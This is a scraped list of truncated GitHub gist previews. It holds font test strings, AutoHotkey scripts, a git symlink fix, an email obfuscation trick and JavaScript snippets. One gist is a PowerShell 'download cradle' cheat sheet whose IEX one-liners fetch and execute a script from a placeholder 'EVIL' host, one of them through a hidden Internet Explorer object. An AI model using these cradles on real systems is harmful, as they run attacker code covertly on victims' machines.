My (@pongstr) opinion about shorthand coding techniques
Shorthand code is not really a replacement for normal coding but it is very handy and useful in some cases. There are tons of opinions and debates around this but, again it all comes down what is necessary for your codebase and using it responsibly.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# normal download cradle | |
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
# PowerShell 3.0+ | |
IEX (iwr 'http://EVIL/evil.ps1') | |
# hidden IE com object | |
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
# Msxml2.XMLHTTP COM object |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Panagrams, ligatures and other font stress tests | |
Hamburgefonstiv | |
#123,456.7890mph | |
1lIi, 2z, 3E, 4yuA, 5sS, 6bG, 7L, 8B, 9g, 0Oo | |
bdpq | |
"…", “…”, ‘…’,:;.!? () {} [] | |
- hyphen, – en dash, — em dash | |
SAMPLE KERNING PAIRS | |
AT AV AW AY Av Aw Ay Fa Fe Fo Kv Kw Ky LO LV LY PA Pa Pe Po TA |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;======================================================================== | |
; | |
; Template: WinTrigger (former OnOpen/OnClose) | |
; Description: Act upon (de)activation/(un)existance of programs/windows | |
; Online Ref.: http://www.autohotkey.com/forum/viewtopic.php?t=63673 | |
; | |
; Last Update: 15/Mar/2010 17:30 | |
; | |
; Created by: MasterFocus | |
; http://www.autohotkey.net/~MasterFocus/AHK/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This fixes Permission denied errors you might get when | |
# there are git symlinks being used on repositories that | |
# you share in both POSIX (usually the host) and Windows (VM). | |
# | |
# This is not an issue if you are checking out the same | |
# repository separately in each platform. This is only an issue | |
# when it's the same working set (aka make a change w/out | |
# committing on OSX, go to Windows VM and git status would show | |
# you that change). | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; KeypressOSD.ahk | |
;-------------------------------------------------------------------------------------------------------------------------- | |
; ChangeLog : v2.22 (2017-02-25) - Now pressing same combination keys continuously more than 2 times, | |
; for example press Ctrl+V 3 times, will displayed as "Ctrl + v (3)" | |
; v2.21 (2017-02-24) - Fixed LWin/RWin not poping up start menu | |
; v2.20 (2017-02-24) - Added displaying continuous-pressed combination keys. | |
; e.g.: With CTRL key held down, pressing K and U continuously will shown as "Ctrl + k, u" | |
; v2.10 (2017-01-22) - Added ShowStickyModKeyCount option | |
; v2.09 (2017-01-22) - Added ShowModifierKeyCount option | |
; v2.08 (2017-01-19) - Fixed a bug |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<meta charset=utf-8> | |
<title>Email CSS direction obfuscation -- with progressive enhancement</title> | |
<span style="display:inline-block; unicode-bidi:bidi-override; direction:rtl;" onmouseover="this.innerText=this.innerText.split('').reverse().join(''); this.style.unicodeBidi='';this.style.direction=''; this.removeAttribute('onmouseover');"> | |
moc.liamg@reinreb.eniotna | |
</span> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// TODO: provide an array of potential separators | |
// var SEPARATORS = [' - ', ' – ', ' -- '] | |
// note that these can have spaces, but sometimes do not | |
// TODO: output a testing dataset for changes to this function. | |
var TRACK_SEPARATOR = ' - '; | |
function parseTitleString(string, partsCallback) { | |
var artist, title, credits = []; | |
var string = string || ''; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ActiveTable - a bookmarklet to make tables sortable and editable | |
function init() { | |
var aHrows = getHrows(); | |
var numHrows = aHrows.length; | |
var aHidden = getHiddenColumns(); | |
ATpopup = document.createElement("div"); | |
ATpopup.style.cssText = "position: absolute; visibility: hidden; padding: 0; font-family: Arial; background-color: rgba(255, 255, 255, 0.9); border-radius: .5em; text-align: center; box-shadow: .05em .05em .5em #00C;"; | |
ATpopup.innerHTML = "<a href='sort' title='sort' onclick='sortColumn(); return false'><img border=0 src='http://stevesouders.com/images/sort_up_down.png' style='padding-top: 0.2em;'></a><br><a href='hide' style='color: #C00; font-family: monospace; font-size: 1.5em; text-decoration: none;' title='hide' onclick='hideColumn(); return false'>x</a>"; // TODO - use protocol-less URL for img |